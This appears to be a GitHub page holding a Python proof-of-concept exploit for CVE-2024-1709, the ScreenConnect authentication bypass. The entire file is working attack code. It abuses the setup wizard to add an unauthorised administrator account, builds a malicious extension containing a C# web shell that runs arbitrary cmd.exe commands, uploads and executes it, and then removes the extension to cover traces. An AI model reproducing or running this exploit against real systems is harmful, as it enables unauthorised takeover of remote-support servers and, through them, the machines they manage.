-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2024-1709.py
226 lines (206 loc) · 10.1 KB
/
CVE-2024-1709.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
import argparse
import base64
import re
import sys
import warnings
from distutils.version import LooseVersion
import requests
import random
import string
import zipfile
import urllib3
DELETE_STATUS=False
warnings.filterwarnings("ignore", category=DeprecationWarning)
urllib3.disable_warnings()
exploit_header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
}
GREEN = "\033[92m"
RESET = "\033[0m"
def rand_text_hex(length):
return ''.join(random.choice('0123456789abcdef') for _ in range(length))
def rand_text_alpha_lower(length):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def rand_text_alpha(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
plugin_guid = '-'.join([rand_text_hex(a) for a in [8, 4, 4, 4, 12]])
payload_ashx = f"{rand_text_alpha_lower(8)}.ashx"
payload_handler_class = rand_text_alpha(8)
payload_psi_var = rand_text_alpha(8)
session = requests.Session()
def GetAntiForgeryToken(url, username, password):
try:
##如果是正版的话,则不需要SetupWizard.aspx/
resp = session.get(url=url + "/SetupWizard.aspx/Administration", auth=(username, password), verify=False, headers=exploit_header, proxies=proxy)
antiForgeryToken = re.search(r'"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"', resp.text).group(1)
return antiForgeryToken
except:
return None
def CreateExtension():
payload_data = f'''<% @ WebHandler Language="C#" Class="{payload_handler_class}" %>
using System;
using System.Web;
using System.Diagnostics;
public class {payload_handler_class} : IHttpHandler
{{
public void ProcessRequest(HttpContext ctx)
{{
string command = ctx.Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{{
ExecuteCommand(command, ctx);
}}
else
{{
ctx.Response.ContentType = "text/plain";
}}
}}
private void ExecuteCommand(string cmd, HttpContext ctx)
{{
ProcessStartInfo {payload_psi_var} = new ProcessStartInfo();
{payload_psi_var}.FileName = "cmd.exe";
{payload_psi_var}.Arguments = $"/c {{cmd}}";
{payload_psi_var}.RedirectStandardOutput = true;
{payload_psi_var}.UseShellExecute = false;
using (Process process = new Process())
{{
process.StartInfo = {payload_psi_var};
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
ctx.Response.ContentType = "text/plain";
ctx.Response.Write(output);
}}
}}
public bool IsReusable {{ get {{ return true; }} }}
}}'''
manifest_data = f'''<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
<Version>1</Version>
<Name>{rand_text_alpha_lower(8)}</Name>
<Author>{rand_text_alpha_lower(8)}</Author>
<ShortDescription>{rand_text_alpha_lower(8)}</ShortDescription>
<LoadMessage>null</LoadMessage>
<Components>
<WebServiceReference SourceFile="{payload_ashx}"/>
</Components>
</ExtensionManifest>'''
zip_resources = zipfile.ZipFile("resources.zip", 'w')
zip_resources.writestr(f"{plugin_guid}/Manifest.xml", manifest_data)
zip_resources.writestr(f"{plugin_guid}/{payload_ashx}", payload_data)
zip_resources.close()
def UploadExtension(url, anti_forgery_token):
with open("resources.zip", "rb") as f:
zip_data = f.read()
zip_data_base64 = base64.b64encode(zip_data).decode()
headers = {
"X-Anti-Forgery-Token": anti_forgery_token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
}
url = url + "/Services/ExtensionService.ashx/InstallExtension"
session.cookies.update({"settings": "%7B%22collapsedPanelMap%22%3A%7B%22Inactive%22%3Atrue%7D%7D"})
try:
response = session.post(url=url, data=f"[\"{zip_data_base64}\"]", headers=headers, verify=False, proxies=proxy)
if response.status_code == 200:
print(f"[+] The malicious extension was uploaded successfully, with the ID: {plugin_guid}")
else:
print("[-] Malicious extension upload failed, please check the network and try again or try to exploit manually")
except Exception as err:
print("[-] Error in func <UploadExtension>, error message: " + str(err))
def ExecuteCommand(url):
resp = session.get(url=url + f"/App_Extensions/{plugin_guid}/{payload_ashx}", headers=exploit_header, verify=False, proxies=proxy)
if resp.status_code == 200:
print(f"[+] Shell Url: {url + f'/App_Extensions/{plugin_guid}/{payload_ashx}'}")
print("[+] 执行固定命令 whoami")
cmd = 'whoami'
resp = session.get(url=url + f"/App_Extensions/{plugin_guid}/{payload_ashx}?cmd={cmd}", headers=exploit_header, verify=False, proxies=proxy)
print(resp.text)
def DeleteExtension(url, plugin_guid):
global DELETE_STATUS
if not DELETE_STATUS:
try:
headers = {
"X-Anti-Forgery-Token": anti_forgery_token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
}
url = url + "/Services/ExtensionService.ashx/UninstallExtension"
response = session.post(url=url, data=f"[\"{plugin_guid}\"]", headers=headers, verify=False, proxies=proxy)
if response.status_code == 200:
print(f"[+] The malicious extension was removed successfully, with the ID: {plugin_guid}")
DELETE_STATUS = True
else:
print("[-] Malicious extension removed failed, please check the network and try again or try to exploit manually")
except Exception as err:
print("[-] Error in func <DeleteExtension>, error message: " + str(err))
def AddUser(url, username, password, domain):
print (23445)
try:
initial_request = requests.get(url=url + "/SetupWizard.aspx/", verify=False)
viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)
next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1,
"__VIEWSTATEGENERATOR": viewgen_1,
"ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=url + "/SetupWizard.aspx/", headers=exploit_header, data=next_data, verify=False,proxies=proxy)
exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate,
"__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": username,
"ctl00$Main$wizard$emailBox": username + f"@{domain}",
"ctl00$Main$wizard$passwordBox": password, "ctl00$Main$wizard$verifyPasswordBox": password,
"ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}
requests.post(url=url + "/SetupWizard.aspx/", headers=exploit_header, data=exploit_data, verify=False,proxies=proxy)
check_url = url + "/Services/AuthenticationService.ashx/TryLogin"
check_data = f"""["{username}","{password}",null,null,null]"""
check_header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Content-Type": "application/json"
}
check_response = requests.post(url=check_url, data=check_data, headers=check_header, verify=False,proxies=proxy)
print (check_response.text)
if check_response.ok and "1" in check_response.text:
print(f"[+] {url} Successfully added user. username: {GREEN}{username}{RESET} and password: {GREEN}{password}{RESET}")
else:
print(f"[-] Failed to add user, {url} does not have this vulnerability, please check the network and try again or try to exploit manually")
except Exception as err:
print("[-] Error in func <AddUser>, error message: " + str(err))
def CheckVersion(url):
try:
response = requests.get(url=url + "/Login?Reason=0", headers=exploit_header, verify=False)
serverString = response.headers["Server"]
version = re.search(r"ScreenConnect\/([\d\.]+)-\d+", serverString).group(1)
if LooseVersion(version) <= LooseVersion("23.9.7"):
return True
else:
return False
except Exception as err:
print("[-] Error in func <CheckVersion>, error message: " + str(err))
return False
if __name__ == "__main__":
username = 'test22024'
password = 'test2@2024'
##测试url
target = 'http://192.168.83.1:8040'
domain = 'test.com'
proxy = {
"http": "http://127.0.0.1:38080",
"https": "https://127.0.0.1:38080",
##burp 代理
}
print(f"[*] Start checking: {target}")
AddUser(target, username, password, domain)
anti_forgery_token = GetAntiForgeryToken(target, username, password)
CreateExtension()
if anti_forgery_token is not None:
print(f"[+] X-Anti-Forgery-Token successfully obtained: {anti_forgery_token}")
UploadExtension(target, anti_forgery_token)
else:
print("[-] AntiForgeryToken acquisition failed, please check the network and try again or try to exploit manually")
try:
ExecuteCommand(target)
##执行完命令后,就删除该文件
DeleteExtension(target, plugin_guid)
except Exception as e:
print ('执行命令失败')